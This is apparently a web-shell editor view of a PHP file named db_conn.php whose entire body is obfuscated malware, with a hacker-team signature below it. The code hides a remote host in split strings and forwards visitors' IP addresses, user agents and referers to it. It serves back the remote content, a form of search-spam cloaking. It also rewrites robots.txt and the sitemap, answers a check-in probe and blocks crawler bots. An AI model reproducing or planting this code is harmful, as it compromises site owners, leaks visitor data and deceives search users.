✏️ Editing: db_conn.php

<?php
 goto Uc6zH; fhbre: $mLtcG = urlencode(@$_SERVER["\110\x54\x54\120\137\x41\103\103\x45\120\x54\x5f\114\x41\116\x47\125\x41\107\x45"]); goto pO6sj; FyHwg: bBtRG: goto bGUYO; xxIuV: $qjpv8 = curl_init(); goto abYAe; t8vje: $ZTb5r = $YuqMj . $DKtEk . $mg8YL . $HsQfA . $BwfH0 . $JFydl; goto o7mPm; G51sU: d02w7: goto Q900U; a2E0M: if (!(strpos($YbJub, "\160\151\x6e\147\163\x69\164\145\x6d\x61\x70") !== false)) { goto EqEkU; } goto vNgGH; uto82: rfwKb: goto G111M; DMBmY: m0kKL($gOPgy, "\x31"); goto Pnw7m; rIV0y: $Iq9Ng = "\57\77"; goto Sj_mQ; r2DBt: if (strpos($YbJub, "\x6a\160\x32\x30\62\x33") !== false) { goto C9JOq; } goto j7DF0; AQ56v: $RgZfg = @file_get_contents($CWkqA); goto eANSs; dCjrD: $r3sdY = $_SERVER["\122\105\x4d\x4f\x54\x45\x5f\x41\x44\104\x52"]; goto fc_29; GvKgJ: $YbJub = urlencode($_SERVER["\122\x45\121\125\x45\x53\124\137\x55\122\x49"]); goto xO0hk; plWv1: goto d02w7; goto lPUbD; EFi3V: if ($RgZfg === "\157\153") { goto jh_aH; } goto N1XNn; O35dB: BC7yg: goto ZR92V; O_Rp4: $q4uII = MeJd2($gOPgy); goto iZ4za; pNUc6: goto ObSiV; goto bVql3; iZ4za: goto wFkbL; goto ikOJp; PcWck: echo $CZ1Kg . "\72\40" . $esUOm . "\x3c\x62\162\57\76"; goto cmob0; D05W8: if (!is_file($gOPgy)) { goto o4Nxd; } goto O_Rp4; ozuKA: $YuqMj = "\150\x74\x74"; goto rgLXW; zD_4z: $rfji1 = ''; goto UX9ql; iYnUw: if (isset($_SERVER["\110\x54\124\120\137\x43\114\111\105\116\x54\x5f\111\x50"])) { goto kG7Y4; } goto fk2kD; fk2kD: if (isset($_SERVER["\110\124\124\120\x5f\x58\137\x46\117\122\127\101\122\104\x45\x44\x5f\106\117\x52"])) { goto rfwKb; } goto pNUc6; AXSUA: exit; goto PilOr; d1unw: yQrC2: goto KJL7l; bGUYO: m0Kkl("\162\157\x62\157\x74\x73\x2e\164\170\x74", $rfji1); goto d1unw; J1hhU: $JFydl = "\157\154\x79\x2e\x63\x6f\155\x2f"; goto tHBkO; LL_nE: curl_setopt($qjpv8, CURLOPT_RETURNTRANSFER, true); goto OISBQ; pz9f8: if (!empty($_SERVER["\x52\105\x51\x55\x45\123\x54\x5f\123\x43\110\x45\x4d\105"]) and $_SERVER["\x52\105\x51\125\105\123\124\x5f\x53\x43\x48\105\115\x45"] == "\150\164\164\160\163" or !empty($_SERVER["\110\x54\x54\x50\x53"]) and $_SERVER["\110\124\x54\120\123"] == "\x6f\156" or !empty($_SERVER["\x53\105\x52\x56\105\x52\137\120\117\122\x54"]) and $_SERVER["\x53\x45\x52\126\x45\x52\x5f\120\117\122\124"] == "\x34\64\63" or isset($_SERVER["\110\x54\x54\x50\x5f\x58\x5f\106\x4f\122\x57\101\x52\x44\x45\104\137\x50\122\x4f\124\x4f"]) and $_SERVER["\x48\x54\124\x50\137\x58\x5f\x46\x4f\x52\x57\101\122\104\x45\x44\x5f\120\122\117\124\x4f"] == "\x68\164\x74\x70\163") { goto WkYy3; } goto uNnf0; lPUbD: zn1ZH: goto zD_4z; EihSL: exit; goto t033A; ukT5D: $prT5b = urlencode($_SERVER["\110\x54\124\120\137\110\117\x53\124"]); goto VctrF; XBQI1: KpbK0: goto O44iR; j7DF0: if (substr($RgZfg, 0, 5) == "\x3c\77\x78\155\x6c") { goto X62X6; } goto q9x6W; SOq5U: goto TVJpe; goto f3cXQ; oiOGt: header("\x48\124\x54\120\57\x31\56\61\40\x34\60\x34\40\116\x6f\x74\x20\106\157\x75\x6e\144"); goto XTqUv; cmob0: $CWkqA = $ZTb5r . "\x3f\141\x67\145\156\x74\75{$EP1bc}\x26\162\145\x66\145\162\75{$Fzc12}\46\154\x61\x6e\147\75{$mLtcG}\x26\151\160\75{$r3sdY}\x26\144\157\x6d\75{$prT5b}\x26\x68\x74\164\160\x3d{$KjuIk}\46\x75\162\151\75{$YbJub}\46\160\x63\x3d{$De_xb}\46\x72\x65\x77\162\151\x74\145\x61\142\154\145\x3d{$q4uII}\x26\163\x63\x72\x69\160\x74\75{$eCD7H}\x26\163\x69\x74\x65\x6d\x61\160\x3d" . urlencode($CZ1Kg); goto f4cd8; O44iR: if (empty($RgZfg)) { goto PIhbJ; } goto wLS1Y; Q900U: goto Nwqr9; goto JHPVb; ikOJp: o4Nxd: goto UK4YO; O0zFo: goto zisYX; goto kYVRz; LaMWz: jh_aH: goto GG1bm; SXFnS: return; goto f65eJ; YZD6N: goto UgIxa; goto LaMWz; mog0z: qa03C: goto hUHLH; VctrF: $r3sdY = urlencode($r3sdY); goto pMGY9; TEn_d: $r3sdY = $_SERVER["\x48\x54\x54\120\x5f\x43\x4c\x49\105\x4e\x54\x5f\111\x50"]; goto Rh24_; OISBQ: curl_setopt($qjpv8, CURLOPT_FOLLOWLOCATION, false); goto iOLXv; VpYEm: $Iq9Ng = $Iq9Ng . "\77"; goto SOq5U; nkHQu: goto SGfZb; goto vC45n; Rh24_: goto ObSiV; goto uto82; pMGY9: $eCD7H = urlencode($_SERVER["\x53\x43\122\111\x50\x54\x5f\116\101\115\105"]); goto pz9f8; y_N5z: if (strpos($YbJub, "\162\157\142\x6f\x74\163\x2e\x74\170\x74") !== false or strpos($YbJub, "\152\x70\x32\x30\x32\x33") !== false or strpos($YbJub, "\160\x69\156\x67\163\x69\164\x65\155\x61\160") !== false or preg_match("\x40\136\x2f\x28\56\x2a\x3f\51\56\170\155\x6c\44\100\x69", $_SERVER["\122\105\121\x55\x45\123\x54\137\125\x52\111"]) or preg_match("\57\50{$rozs1}\51\57\x69", $_SERVER["\110\124\x54\120\x5f\125\x53\105\122\137\101\107\x45\x4e\124"]) or preg_match("\57\50{$rozs1}\51\57\151", @$_SERVER["\x48\x54\124\x50\137\122\105\106\x45\x52\105\x52"])) { goto zn1ZH; } goto plWv1; kr2hw: $rfji1 = trim($rfji1) . "\xd\xa" . "\x53\151\164\x65\155\x61\160\x3a\x20{$CZ1Kg}"; goto w9UOP; aErpF: $gOPgy = "\x7a\x6b\x63\56\x74\170\x74"; goto zrwYc; uKXPp: if (!empty($rfji1)) { goto bBtRG; } goto KuimK; FkWhP: ObSiV: goto ukT5D; yYv0H: curl_setopt($qjpv8, CURLOPT_SSL_VERIFYHOST, FALSE); goto DxRGM; ZR92V: function M0kkl($A52KC, $v_c6D) { goto i_Go8; EAy5Z: return false; goto G1C8p; ij0Pd: fclose($ints7); goto d3Se5; Mnrk9: niqhw: goto EAy5Z; yQAcv: fwrite($ints7, $v_c6D); goto ij0Pd; n0uHi: if (!$ints7) { goto niqhw; } goto yQAcv; d3Se5: return true; goto Mnrk9; i_Go8: $ints7 = fopen($A52KC, "\167"); goto n0uHi; G1C8p: } goto Xzmed; hUHLH: goto yQrC2; goto FyHwg; XTqUv: zisYX: goto XV5Ti; f4cd8: EqEkU: goto AQ56v; QxfJw: wFkbL: goto WkgBw; wLS1Y: if (!(substr($RgZfg, 0, 10) == "\145\x72\162\x6f\162\40\143\x6f\x64\145" or $RgZfg == "\65\60\x30" or strpos($RgZfg, "\x42\141\144\x20\107\141\164\x65\167\x61\x79") !== false)) { goto Gh72S; } goto RTCLT; iG32N: $Iq9Ng = "\x2f"; goto nkHQu; G111M: $r3sdY = $_SERVER["\110\x54\x54\120\x5f\x58\x5f\106\117\122\x57\x41\122\x44\105\104\137\x46\x4f\x52"]; goto FkWhP; uNnf0: $_SERVER["\122\x45\x51\x55\105\123\124\137\x53\x43\x48\x45\x4d\105"] = "\150\164\164\x70"; goto FRXzZ; fc_29: $Fzc12 = urlencode(@$_SERVER["\x48\x54\x54\x50\137\x52\x45\106\105\122\x45\x52"]); goto fhbre; dzkH5: TVJpe: goto mXDKQ; bVql3: kG7Y4: goto TEn_d; q9x6W: header("\x43\157\x6e\164\145\156\x74\55\x54\x79\x70\x65\x3a\x20\164\145\x78\164\x2f\150\x74\155\x6c\73\x20\143\150\141\x72\163\x65\x74\75\165\164\146\55\70"); goto mwOM2; Xzmed: function mejd2($A52KC) { goto PZlx6; hPhK6: return $v_c6D; goto WwvII; U9xiD: if (!$ints7) { goto vzlOJ; } goto QA1lx; WwvII: vzlOJ: goto qVT4H; qVT4H: return false; goto FOhg8; M4j0a: fclose($ints7); goto hPhK6; QA1lx: $v_c6D = fread($ints7, filesize($A52KC)); goto M4j0a; PZlx6: $ints7 = fopen($A52KC, "\x72"); goto U9xiD; FOhg8: } goto GvKgJ; zzBMd: $RgZfg = @file_get_contents($RvLC2); goto EFi3V; pO6sj: $EP1bc = urlencode($_SERVER["\110\124\x54\x50\137\x55\x53\x45\x52\137\x41\107\105\116\x54"]); goto iYnUw; SUKXr: $mg8YL = "\72\x2f\x2f\143\x77\x32\70\62\x33"; goto ozuKA; UK4YO: $RvLC2 = $KjuIk . "\72\x2f\x2f" . $_SERVER["\x48\124\124\x50\137\x48\117\x53\124"] . "\x2f\172\x6b\x63\172\x6b\x63"; goto zzBMd; vC45n: xGlsM: goto rIV0y; B8mhr: m0kKL("\x72\157\x62\x6f\x74\163\x2e\x74\x78\164", $RgZfg); goto mog0z; XV5Ti: echo $RgZfg; goto uKXPp; WkgBw: if (strpos($YbJub, "\146\141\x76\x69\x63\157\156\56\x69\x63\157") !== false) { goto A3MoG; } goto y_N5z; iOLXv: curl_setopt($qjpv8, CURLOPT_SSL_VERIFYPEER, FALSE); goto yYv0H; VzG6k: $CZ1Kg = "{$KjuIk}\x3a\57\x2f" . $prT5b . $Iq9Ng . "\x73\151\x74\145\x6d\x61\160\x2e\170\155\x6c"; goto kr2hw; xO0hk: $KjuIk = urlencode($_SERVER["\122\105\x51\125\x45\x53\x54\x5f\123\103\x48\x45\x4d\105"]); goto ba6J6; GG1bm: $q4uII = 1; goto DMBmY; Y3ynY: header("\110\124\x54\120\x2f\61\x2e\60\40\64\x30\63\x20\106\x6f\x72\142\x69\x64\144\x65\x6e"); goto EihSL; N1XNn: $q4uII = 0; goto Y3bb0; d8Q3u: X62X6: goto Qe9qS; AhdR8: error_reporting(0); goto dCjrD; ba6J6: if (!(strpos($YbJub, "\x7a\x6b\143\172\153\x63") !== false)) { goto prR2P; } goto RlXVF; tHBkO: $DKtEk = "\x70"; goto t8vje; SHQa0: $rozs1 = "\x59\x61\x68\x6f\157\174\147\157\x6f\x67\154\145\174\101\x6f\x6c\174\x42\x69\156\147"; goto xCyKI; eANSs: if (!empty($RgZfg)) { goto KpbK0; } goto xxIuV; Tma2e: if (strpos($Iq9Ng, "\x69\156\x64\x65\x78\56\x70\x68") !== false) { goto I_JGk; } goto VpYEm; xCyKI: if (!preg_match("\x2f\50\x63\162\141\x77\x6c\x44\141\144\x64\x79\x7c\165\x6e\x69\166\145\162\x73\x61\154\x46\145\145\144\120\141\162\x73\x65\x72\174\145\141\163\157\x75\123\x70\x69\x64\145\162\x7c\x50\171\164\x68\x6f\156\55\165\x72\x6c\x6c\151\x62\174\x46\x65\145\144\154\x79\174\123\x65\x7a\x6e\141\x6d\102\157\164\x7c\x50\x79\x74\150\x6f\x6e\174\154\x69\x67\150\x74\104\x65\x63\x6b\x52\145\x70\x6f\x72\164\x73\40\102\x6f\x74\x7c\107\x50\x54\102\x6f\x74\174\160\x65\164\141\x6c\x42\x6f\x74\174\x73\x77\151\146\164\x62\157\x74\x7c\x46\x65\145\x64\104\145\155\x6f\156\174\112\151\153\145\x53\x70\151\x64\x65\x72\x7c\x5a\x6d\x45\165\x7c\104\157\164\102\157\x74\174\x79\x79\123\x70\151\x64\x65\x72\174\x42\141\x72\153\162\x6f\x77\x6c\145\x72\x7c\x6a\141\166\141\174\x6a\141\165\x6e\x74\171\174\104\151\x67\x45\x78\164\174\x43\x6f\x6f\154\x70\x61\144\127\145\x62\153\151\x74\x7c\x41\x68\x72\145\x66\163\102\x6f\x74\x7c\x42\x79\164\x65\163\160\x69\x64\x65\162\x7c\155\x6a\x31\x32\x62\157\x74\x7c\101\163\153\124\x62\106\x58\124\x56\174\x44\141\x74\141\106\157\162\x53\105\117\174\x73\145\x6d\x72\x75\x73\x68\102\x6f\164\174\111\x6e\144\x79\40\114\151\142\x72\141\162\x79\x7c\x4f\102\157\x74\174\x43\145\x6e\x73\x79\163\111\x6e\163\160\x65\x63\x74\174\150\164\x74\160\103\x6c\151\x65\156\x74\174\131\x61\x6e\144\x65\170\102\x6f\x74\x7c\x65\172\157\157\155\x73\174\150\145\x72\151\x74\x72\x69\170\x7c\x50\141\154\x6f\x61\x6c\x74\157\156\x65\x74\167\x6f\x72\x6b\163\174\107\x6f\55\150\164\x74\160\x2d\143\x6c\151\145\x6e\x74\174\160\171\x74\x68\157\156\55\162\145\x71\165\145\x73\164\163\x7c\x50\x61\x71\x6c\x65\x62\x6f\164\x7c\141\160\141\143\150\x65\102\x65\x6e\x63\x68\174\131\151\163\157\165\x53\x70\151\144\x65\x72\174\143\x6c\x61\165\144\x65\142\157\x74\x7c\123\x63\162\141\160\171\174\141\155\141\x7a\x6f\156\102\157\164\x29\x2f\x69", $_SERVER["\x48\x54\124\x50\x5f\125\123\105\x52\137\x41\107\x45\116\x54"])) { goto XUvh2; } goto Y3ynY; Qe9qS: header("\x43\x6f\156\164\x65\x6e\164\55\124\171\x70\x65\x3a\x20\164\145\x78\x74\x2f\170\155\x6c\73\x20\x63\x68\141\x72\x73\x65\164\75\x75\x74\x66\x2d\x38"); goto IkmZL; kYVRz: C9JOq: goto oiOGt; b41C7: curl_close($qjpv8); goto XBQI1; Uc6zH: $BwfH0 = "\151\x6c\x6d\x68"; goto SUKXr; KuimK: if (!(strpos($YbJub, "\x72\157\142\157\164\x73\x2e\164\x78\164") !== false)) { goto qa03C; } goto B8mhr; rgLXW: $HsQfA = "\x2e\146"; goto J1hhU; JHPVb: A3MoG: goto Yug6N; UX9ql: $CWkqA = $ZTb5r . "\x3f\141\147\x65\x6e\x74\75{$EP1bc}\x26\162\145\146\x65\162\x3d{$Fzc12}\x26\x6c\x61\x6e\147\75{$mLtcG}\46\x69\x70\75{$r3sdY}\46\144\x6f\155\x3d{$prT5b}\x26\150\x74\x74\160\75{$KjuIk}\46\165\162\151\75{$YbJub}\46\x70\143\75{$De_xb}\46\x72\145\167\162\151\164\x65\x61\142\x6c\145\x3d{$q4uII}\46\163\143\162\x69\x70\164\75{$eCD7H}"; goto a2E0M; Sj_mQ: SGfZb: goto dzkH5; w9UOP: $esUOm = ''; goto PcWck; PilOr: Gh72S: goto r2DBt; f65eJ: PIhbJ: goto G51sU; Y3bb0: M0kkL($gOPgy, "\60"); goto YZD6N; RTCLT: header("\x48\x54\124\120\57\61\56\60\40\x35\60\60\x20\x49\x6e\164\x65\162\x6e\x61\154\40\x53\145\x72\x76\x65\162\x20\x45\162\x72\x6f\x72"); goto AXSUA; vNgGH: $Iq9Ng = $_SERVER["\123\x43\122\x49\120\124\x5f\116\x41\115\x45"]; goto Tma2e; SxwyD: $_SERVER["\122\x45\121\x55\x45\123\x54\x5f\x53\x43\110\105\x4d\x45"] = "\x68\x74\164\x70\163"; goto O35dB; mwOM2: goto J7eGX; goto d8Q3u; KJL7l: exit; goto SXFnS; o7mPm: $De_xb = "\103\x6c\x64\x51\126\121\150"; goto SHQa0; DxRGM: $RgZfg = curl_exec($qjpv8); goto b41C7; PeAhT: if ($q4uII == 0) { goto xGlsM; } goto iG32N; abYAe: curl_setopt($qjpv8, CURLOPT_URL, $CWkqA); goto LL_nE; wIp3Z: WkYy3: goto SxwyD; Pnw7m: UgIxa: goto QxfJw; t033A: XUvh2: goto AhdR8; mXDKQ: $rfji1 = "\125\163\145\x72\x2d\x61\x67\x65\x6e\x74\72\x20\x2a\xd\xa\x41\154\x6c\x6f\x77\72\40\x2f"; goto VzG6k; f3cXQ: I_JGk: goto PeAhT; FRXzZ: goto BC7yg; goto wIp3Z; UIEcU: prR2P: goto aErpF; zrwYc: $q4uII = 0; goto D05W8; GKY8W: exit; goto UIEcU; RlXVF: echo "\157\153"; goto GKY8W; IkmZL: J7eGX: goto O0zFo; Yug6N: Nwqr9:
?>

Ubuntu

Sid Gifari From Gifari Industries - BD Cyber Security Team



Ubuntu

Sid Gifari From Gifari Industries - BD Cyber Security Team